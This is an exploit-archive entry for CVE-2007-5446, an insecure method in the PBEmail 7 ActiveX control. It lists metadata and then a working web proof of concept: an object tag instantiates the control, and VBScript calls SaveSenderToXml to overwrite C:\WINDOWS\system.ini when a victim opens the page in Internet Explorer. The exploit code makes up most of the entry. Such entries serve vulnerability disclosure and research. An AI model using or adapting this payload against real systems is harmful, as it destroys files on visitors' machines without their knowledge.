PBEmail 7 - ActiveX Edition Insecure Method

Author: Katatafish
type: remote
platform: windows
port: 
date_added: 2007-10-11  
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verified: 1  
codes: OSVDB-43481;CVE-2007-5446  
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<b>Found by</b>: Katatafish (karatatata{at}hush{dot}com)
<b>software</b>:PBEmail 7 ActiveX Edition
<b>Vendor:</b> http://www.perfectionbytes.com
<b>vulnerability</b>: Insecure method
SaveSenderToXml(XmlFilePath: BSTR); stdcall; in PBEmail7Ax.dll
<b>Tested on Internet explorer 7 with Windows XP SP 2.</b>
<b>Thanks:</b> str0ke

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<object classid="clsid:30C0FDCB-53BE-4DB3-869D-32BF2DAD0DEC"
id="kat"></object>
<script language="vbscript">
  kat.SaveSenderToXml "C:\WINDOWS\system.ini"
  MyMsg = MsgBox ("Done! Your C:\WINDOWS\system.ini file should now
be overwriten.")
</script>

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